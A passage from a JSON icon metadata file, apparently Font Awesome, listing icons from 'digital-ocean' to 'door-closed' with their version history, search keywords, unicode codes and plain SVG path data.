        "path": "M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z"
      }
    },
    "free": ["brands"]
  },
  "digital-ocean": {
    "changes": ["5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f391",
    "label": "Digital Ocean",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z"
      }
    },
    "free": ["brands"]
  },
  "discord": {
    "changes": ["5.0.0", "5.15.4", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f392",
    "label": "Discord",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M524.531,69.836a1.5,1.5,0,0,0-.764-.7A485.065,485.065,0,0,0,404.081,32.03a1.816,1.816,0,0,0-1.923.91,337.461,337.461,0,0,0-14.9,30.6,447.848,447.848,0,0,0-134.426,0,309.541,309.541,0,0,0-15.135-30.6,1.89,1.89,0,0,0-1.924-.91A483.689,483.689,0,0,0,116.085,69.137a1.712,1.712,0,0,0-.788.676C39.068,183.651,18.186,294.69,28.43,404.354a2.016,2.016,0,0,0,.765,1.375A487.666,487.666,0,0,0,176.02,479.918a1.9,1.9,0,0,0,2.063-.676A348.2,348.2,0,0,0,208.12,430.4a1.86,1.86,0,0,0-1.019-2.588,321.173,321.173,0,0,1-45.868-21.853,1.885,1.885,0,0,1-.185-3.126c3.082-2.309,6.166-4.711,9.109-7.137a1.819,1.819,0,0,1,1.9-.256c96.229,43.917,200.41,43.917,295.5,0a1.812,1.812,0,0,1,1.924.233c2.944,2.426,6.027,4.851,9.132,7.16a1.884,1.884,0,0,1-.162,3.126,301.407,301.407,0,0,1-45.89,21.83,1.875,1.875,0,0,0-1,2.611,391.055,391.055,0,0,0,30.014,48.815,1.864,1.864,0,0,0,2.063.7A486.048,486.048,0,0,0,610.7,405.729a1.882,1.882,0,0,0,.765-1.352C623.729,277.594,590.933,167.465,524.531,69.836ZM222.491,337.58c-28.972,0-52.844-26.587-52.844-59.239S193.056,219.1,222.491,219.1c29.665,0,53.306,26.82,52.843,59.239C275.334,310.993,251.924,337.58,222.491,337.58Zm195.38,0c-28.971,0-52.843-26.587-52.843-59.239S388.437,219.1,417.871,219.1c29.667,0,53.307,26.82,52.844,59.239C470.715,310.993,447.538,337.58,417.871,337.58Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M524.531,69.836a1.5,1.5,0,0,0-.764-.7A485.065,485.065,0,0,0,404.081,32.03a1.816,1.816,0,0,0-1.923.91,337.461,337.461,0,0,0-14.9,30.6,447.848,447.848,0,0,0-134.426,0,309.541,309.541,0,0,0-15.135-30.6,1.89,1.89,0,0,0-1.924-.91A483.689,483.689,0,0,0,116.085,69.137a1.712,1.712,0,0,0-.788.676C39.068,183.651,18.186,294.69,28.43,404.354a2.016,2.016,0,0,0,.765,1.375A487.666,487.666,0,0,0,176.02,479.918a1.9,1.9,0,0,0,2.063-.676A348.2,348.2,0,0,0,208.12,430.4a1.86,1.86,0,0,0-1.019-2.588,321.173,321.173,0,0,1-45.868-21.853,1.885,1.885,0,0,1-.185-3.126c3.082-2.309,6.166-4.711,9.109-7.137a1.819,1.819,0,0,1,1.9-.256c96.229,43.917,200.41,43.917,295.5,0a1.812,1.812,0,0,1,1.924.233c2.944,2.426,6.027,4.851,9.132,7.16a1.884,1.884,0,0,1-.162,3.126,301.407,301.407,0,0,1-45.89,21.83,1.875,1.875,0,0,0-1,2.611,391.055,391.055,0,0,0,30.014,48.815,1.864,1.864,0,0,0,2.063.7A486.048,486.048,0,0,0,610.7,405.729a1.882,1.882,0,0,0,.765-1.352C623.729,277.594,590.933,167.465,524.531,69.836ZM222.491,337.58c-28.972,0-52.844-26.587-52.844-59.239S193.056,219.1,222.491,219.1c29.665,0,53.306,26.82,52.843,59.239C275.334,310.993,251.924,337.58,222.491,337.58Zm195.38,0c-28.971,0-52.843-26.587-52.843-59.239S388.437,219.1,417.871,219.1c29.667,0,53.307,26.82,52.844,59.239C470.715,310.993,447.538,337.58,417.871,337.58Z"
      }
    },
    "free": ["brands"]
  },
  "discourse": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f393",
    "label": "Discourse",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z"
      }
    },
    "free": ["brands"]
  },
  "disease": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7fa"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bacteria",
        "cancer",
        "coronavirus",
        "covid-19",
        "flu",
        "illness",
        "infection",
        "pandemic",
        "sickness",
        "virus"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7fa",
    "label": "Disease",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M236.4 61.4L227 75.5c-21.3 32-59.4 48.5-97.3 42.1l-59.6-9.9C33.4 101.6 0 129.9 .1 167.1c0 15.9 6.4 31.2 17.6 42.5l29.2 29.2c11 11 17.2 25.9 17.2 41.5c0 15.8-6.4 30.9-17.7 42L33.3 335.1C22.2 345.9 16 360.7 16 376.2c0 36.8 34.1 64.2 70.1 56.2l62.3-13.8c7.7-1.7 15.7-2.6 23.6-2.6h10c27.2 0 53.7 9.3 75 26.3L287.8 467c10.5 8.4 23.6 13 37 13c32.7 0 59.3-26.5 59.3-59.3l0-25.2c0-34.9 21.4-66.2 53.9-78.8l36.9-14.3c22.4-8.7 37.2-30.3 37.2-54.3c0-28.1-20.1-52.3-47.8-57.3l-28-5.1c-36.5-6.7-65.4-34.5-73.6-70.7l-7.1-31.5C348.9 53.4 322.1 32 291.3 32c-22 0-42.6 11-54.9 29.4zM160 192a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm0 80a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M236.4 61.4L227 75.5c-21.3 32-59.4 48.5-97.3 42.1l-59.6-9.9C33.4 101.6 0 129.9 .1 167.1c0 15.9 6.4 31.2 17.6 42.5l29.2 29.2c11 11 17.2 25.9 17.2 41.5c0 15.8-6.4 30.9-17.7 42L33.3 335.1C22.2 345.9 16 360.7 16 376.2c0 36.8 34.1 64.2 70.1 56.2l62.3-13.8c7.7-1.7 15.7-2.6 23.6-2.6h10c27.2 0 53.7 9.3 75 26.3L287.8 467c10.5 8.4 23.6 13 37 13c32.7 0 59.3-26.5 59.3-59.3l0-25.2c0-34.9 21.4-66.2 53.9-78.8l36.9-14.3c22.4-8.7 37.2-30.3 37.2-54.3c0-28.1-20.1-52.3-47.8-57.3l-28-5.1c-36.5-6.7-65.4-34.5-73.6-70.7l-7.1-31.5C348.9 53.4 322.1 32 291.3 32c-22 0-42.6 11-54.9 29.4zM160 192a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm0 80a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "display": {
    "changes": ["6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Screen", "computer", "desktop", "imac"]
    },
    "styles": ["solid"],
    "unicode": "e163",
    "label": "Display",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V352c0 35.3 28.7 64 64 64H240l-10.7 32H160c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H346.7L336 416H512c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM512 64V352H64V64H512z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V352c0 35.3 28.7 64 64 64H240l-10.7 32H160c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H346.7L336 416H512c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM512 64V352H64V64H512z"
      }
    },
    "free": ["solid"]
  },
  "divide": {
    "aliases": {
      "unicodes": {
        "composite": ["2797", "f7"],
        "secondary": ["10f529"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Division Sign",
        "arithmetic",
        "calculus",
        "divide",
        "division",
        "math",
        "sign",
        "÷"
      ]
    },
    "styles": ["solid"],
    "unicode": "f529",
    "label": "Divide",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M272 96a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm0 320a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM400 288c17.7 0 32-14.3 32-32s-14.3-32-32-32H48c-17.7 0-32 14.3-32 32s14.3 32 32 32H400z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M272 96a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm0 320a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM400 288c17.7 0 32-14.3 32-32s-14.3-32-32-32H48c-17.7 0-32 14.3-32 32s14.3 32 32 32H400z"
      }
    },
    "free": ["solid"]
  },
  "dna": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9ec"],
        "secondary": ["10f471"]
      }
    },
    "changes": ["5.0.7", "5.0.10", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "biologist",
        "dna",
        "double helix",
        "evolution",
        "gene",
        "genetic",
        "genetics",
        "helix",
        "life",
        "molecule",
        "protein"
      ]
    },
    "styles": ["solid"],
    "unicode": "f471",
    "label": "Dna",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 0c17.7 0 32 14.3 32 32c0 59.8-30.3 107.5-69.4 146.6c-28 28-62.5 53.5-97.3 77.4l-2.5 1.7c-11.9 8.1-23.8 16.1-35.5 23.9l0 0 0 0 0 0-1.6 1c-6 4-11.9 7.9-17.8 11.9c-20.9 14-40.8 27.7-59.3 41.5H283.3c-9.8-7.4-20.1-14.7-30.7-22.1l7-4.7 3-2c15.1-10.1 30.9-20.6 46.7-31.6c25 18.1 48.9 37.3 69.4 57.7C417.7 372.5 448 420.2 448 480c0 17.7-14.3 32-32 32s-32-14.3-32-32H64c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-59.8 30.3-107.5 69.4-146.6c28-28 62.5-53.5 97.3-77.4c-34.8-23.9-69.3-49.3-97.3-77.4C30.3 139.5 0 91.8 0 32C0 14.3 14.3 0 32 0S64 14.3 64 32H384c0-17.7 14.3-32 32-32zM338.6 384H109.4c-10.1 10.6-18.6 21.3-25.5 32H364.1c-6.8-10.7-15.3-21.4-25.5-32zM109.4 128H338.6c10.1-10.7 18.6-21.3 25.5-32H83.9c6.8 10.7 15.3 21.3 25.5 32zm55.4 48c18.4 13.8 38.4 27.5 59.3 41.5c20.9-14 40.8-27.7 59.3-41.5H164.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M416 0c17.7 0 32 14.3 32 32c0 59.8-30.3 107.5-69.4 146.6c-28 28-62.5 53.5-97.3 77.4l-2.5 1.7c-11.9 8.1-23.8 16.1-35.5 23.9l0 0 0 0 0 0-1.6 1c-6 4-11.9 7.9-17.8 11.9c-20.9 14-40.8 27.7-59.3 41.5H283.3c-9.8-7.4-20.1-14.7-30.7-22.1l7-4.7 3-2c15.1-10.1 30.9-20.6 46.7-31.6c25 18.1 48.9 37.3 69.4 57.7C417.7 372.5 448 420.2 448 480c0 17.7-14.3 32-32 32s-32-14.3-32-32H64c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-59.8 30.3-107.5 69.4-146.6c28-28 62.5-53.5 97.3-77.4c-34.8-23.9-69.3-49.3-97.3-77.4C30.3 139.5 0 91.8 0 32C0 14.3 14.3 0 32 0S64 14.3 64 32H384c0-17.7 14.3-32 32-32zM338.6 384H109.4c-10.1 10.6-18.6 21.3-25.5 32H364.1c-6.8-10.7-15.3-21.4-25.5-32zM109.4 128H338.6c10.1-10.7 18.6-21.3 25.5-32H83.9c6.8 10.7 15.3 21.3 25.5 32zm55.4 48c18.4 13.8 38.4 27.5 59.3 41.5c20.9-14 40.8-27.7 59.3-41.5H164.7z"
      }
    },
    "free": ["solid"]
  },
  "dochub": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f394",
    "label": "DocHub",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 416 512\"><path d=\"M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z\"/></svg>",
        "viewBox": [0, 0, 416, 512],
        "width": 416,
        "height": 512,
        "path": "M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z"
      }
    },
    "free": ["brands"]
  },
  "docker": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f395",
    "label": "Docker",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z"
      }
    },
    "free": ["brands"]
  },
  "dog": {
    "aliases": {
      "unicodes": {
        "composite": ["1f415"],
        "secondary": ["10f6d3"]
      }
    },
    "changes": [
      "5.4.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "animal",
        "canine",
        "dog",
        "fauna",
        "mammal",
        "pet",
        "pooch",
        "puppy",
        "woof"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6d3",
    "label": "Dog",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M309.6 158.5L332.7 19.8C334.6 8.4 344.5 0 356.1 0c7.5 0 14.5 3.5 19 9.5L392 32h52.1c12.7 0 24.9 5.1 33.9 14.1L496 64h56c13.3 0 24 10.7 24 24v24c0 44.2-35.8 80-80 80H464 448 426.7l-5.1 30.5-112-64zM416 256.1L416 480c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V364.8c-24 12.3-51.2 19.2-80 19.2s-56-6.9-80-19.2V480c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V249.8c-28.8-10.9-51.4-35.3-59.2-66.5L1 167.8c-4.3-17.1 6.1-34.5 23.3-38.8s34.5 6.1 38.8 23.3l3.9 15.5C70.5 182 83.3 192 98 192h30 16H303.8L416 256.1zM464 80a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M309.6 158.5L332.7 19.8C334.6 8.4 344.5 0 356.1 0c7.5 0 14.5 3.5 19 9.5L392 32h52.1c12.7 0 24.9 5.1 33.9 14.1L496 64h56c13.3 0 24 10.7 24 24v24c0 44.2-35.8 80-80 80H464 448 426.7l-5.1 30.5-112-64zM416 256.1L416 480c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V364.8c-24 12.3-51.2 19.2-80 19.2s-56-6.9-80-19.2V480c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V249.8c-28.8-10.9-51.4-35.3-59.2-66.5L1 167.8c-4.3-17.1 6.1-34.5 23.3-38.8s34.5 6.1 38.8 23.3l3.9 15.5C70.5 182 83.3 192 98 192h30 16H303.8L416 256.1zM464 80a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "dollar-sign": {
    "aliases": {
      "names": ["dollar", "usd"],
      "unicodes": {
        "composite": ["1f4b2", "f155"],
        "primary": ["f155"],
        "secondary": ["1024", "10f155"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.0.9",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Dollar Sign",
        "currency",
        "dollar",
        "heavy dollar sign",
        "money"
      ]
    },
    "styles": ["solid"],
    "unicode": "24",
    "label": "Dollar Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 0c17.7 0 32 14.3 32 32V67.7c1.6 .2 3.1 .4 4.7 .7c.4 .1 .7 .1 1.1 .2l48 8.8c17.4 3.2 28.9 19.9 25.7 37.2s-19.9 28.9-37.2 25.7l-47.5-8.7c-31.3-4.6-58.9-1.5-78.3 6.2s-27.2 18.3-29 28.1c-2 10.7-.5 16.7 1.2 20.4c1.8 3.9 5.5 8.3 12.8 13.2c16.3 10.7 41.3 17.7 73.7 26.3l2.9 .8c28.6 7.6 63.6 16.8 89.6 33.8c14.2 9.3 27.6 21.9 35.9 39.5c8.5 17.9 10.3 37.9 6.4 59.2c-6.9 38-33.1 63.4-65.6 76.7c-13.7 5.6-28.6 9.2-44.4 11V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V445.1c-.4-.1-.9-.1-1.3-.2l-.2 0 0 0c-24.4-3.8-64.5-14.3-91.5-26.3c-16.1-7.2-23.4-26.1-16.2-42.2s26.1-23.4 42.2-16.2c20.9 9.3 55.3 18.5 75.2 21.6c31.9 4.7 58.2 2 76-5.3c16.9-6.9 24.6-16.9 26.8-28.9c1.9-10.6 .4-16.7-1.3-20.4c-1.9-4-5.6-8.4-13-13.3c-16.4-10.7-41.5-17.7-74-26.3l-2.8-.7 0 0C119.4 279.3 84.4 270 58.4 253c-14.2-9.3-27.5-22-35.8-39.6c-8.4-17.9-10.1-37.9-6.1-59.2C23.7 116 52.3 91.2 84.8 78.3c13.3-5.3 27.9-8.9 43.2-11V32c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 0c17.7 0 32 14.3 32 32V67.7c1.6 .2 3.1 .4 4.7 .7c.4 .1 .7 .1 1.1 .2l48 8.8c17.4 3.2 28.9 19.9 25.7 37.2s-19.9 28.9-37.2 25.7l-47.5-8.7c-31.3-4.6-58.9-1.5-78.3 6.2s-27.2 18.3-29 28.1c-2 10.7-.5 16.7 1.2 20.4c1.8 3.9 5.5 8.3 12.8 13.2c16.3 10.7 41.3 17.7 73.7 26.3l2.9 .8c28.6 7.6 63.6 16.8 89.6 33.8c14.2 9.3 27.6 21.9 35.9 39.5c8.5 17.9 10.3 37.9 6.4 59.2c-6.9 38-33.1 63.4-65.6 76.7c-13.7 5.6-28.6 9.2-44.4 11V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V445.1c-.4-.1-.9-.1-1.3-.2l-.2 0 0 0c-24.4-3.8-64.5-14.3-91.5-26.3c-16.1-7.2-23.4-26.1-16.2-42.2s26.1-23.4 42.2-16.2c20.9 9.3 55.3 18.5 75.2 21.6c31.9 4.7 58.2 2 76-5.3c16.9-6.9 24.6-16.9 26.8-28.9c1.9-10.6 .4-16.7-1.3-20.4c-1.9-4-5.6-8.4-13-13.3c-16.4-10.7-41.5-17.7-74-26.3l-2.8-.7 0 0C119.4 279.3 84.4 270 58.4 253c-14.2-9.3-27.5-22-35.8-39.6c-8.4-17.9-10.1-37.9-6.1-59.2C23.7 116 52.3 91.2 84.8 78.3c13.3-5.3 27.9-8.9 43.2-11V32c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "dolly": {
    "aliases": {
      "names": ["dolly-box"],
      "unicodes": {
        "secondary": ["10f472"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["carry", "shipping", "transport"]
    },
    "styles": ["solid"],
    "unicode": "f472",
    "label": "Dolly",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0h72.9c27.5 0 52 17.6 60.7 43.8L257.7 320c30.1 .5 56.8 14.9 74 37l202.1-67.4c16.8-5.6 34.9 3.5 40.5 20.2s-3.5 34.9-20.2 40.5L352 417.7c-.9 52.2-43.5 94.3-96 94.3c-53 0-96-43-96-96c0-30.8 14.5-58.2 37-75.8L104.9 64H32C14.3 64 0 49.7 0 32zM244.8 134.5c-5.5-16.8 3.7-34.9 20.5-40.3L311 79.4l19.8 60.9 60.9-19.8L371.8 59.6l45.7-14.8c16.8-5.5 34.9 3.7 40.3 20.5l49.4 152.2c5.5 16.8-3.7 34.9-20.5 40.3L334.5 307.2c-16.8 5.5-34.9-3.7-40.3-20.5L244.8 134.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0h72.9c27.5 0 52 17.6 60.7 43.8L257.7 320c30.1 .5 56.8 14.9 74 37l202.1-67.4c16.8-5.6 34.9 3.5 40.5 20.2s-3.5 34.9-20.2 40.5L352 417.7c-.9 52.2-43.5 94.3-96 94.3c-53 0-96-43-96-96c0-30.8 14.5-58.2 37-75.8L104.9 64H32C14.3 64 0 49.7 0 32zM244.8 134.5c-5.5-16.8 3.7-34.9 20.5-40.3L311 79.4l19.8 60.9 60.9-19.8L371.8 59.6l45.7-14.8c16.8-5.5 34.9 3.7 40.3 20.5l49.4 152.2c5.5 16.8-3.7 34.9-20.5 40.3L334.5 307.2c-16.8 5.5-34.9-3.7-40.3-20.5L244.8 134.5z"
      }
    },
    "free": ["solid"]
  },
  "dong-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Dong Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e169",
    "label": "Dong Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M288 32c-17.7 0-32 14.3-32 32l-32 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h32v49.1c-18.8-10.9-40.7-17.1-64-17.1c-70.7 0-128 57.3-128 128s57.3 128 128 128c24.5 0 47.4-6.9 66.8-18.8c5 11.1 16.2 18.8 29.2 18.8c17.7 0 32-14.3 32-32V288 128c17.7 0 32-14.3 32-32s-14.3-32-32-32c0-17.7-14.3-32-32-32zM128 288a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM32 448c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M288 32c-17.7 0-32 14.3-32 32l-32 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h32v49.1c-18.8-10.9-40.7-17.1-64-17.1c-70.7 0-128 57.3-128 128s57.3 128 128 128c24.5 0 47.4-6.9 66.8-18.8c5 11.1 16.2 18.8 29.2 18.8c17.7 0 32-14.3 32-32V288 128c17.7 0 32-14.3 32-32s-14.3-32-32-32c0-17.7-14.3-32-32-32zM128 288a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM32 448c-17.7 0-32 14.3-32 32s14.3 32 32 32H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z"
      }
    },
    "free": ["solid"]
  },
  "door-closed": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6aa"],
        "secondary": ["10f52a"]
      }
    },
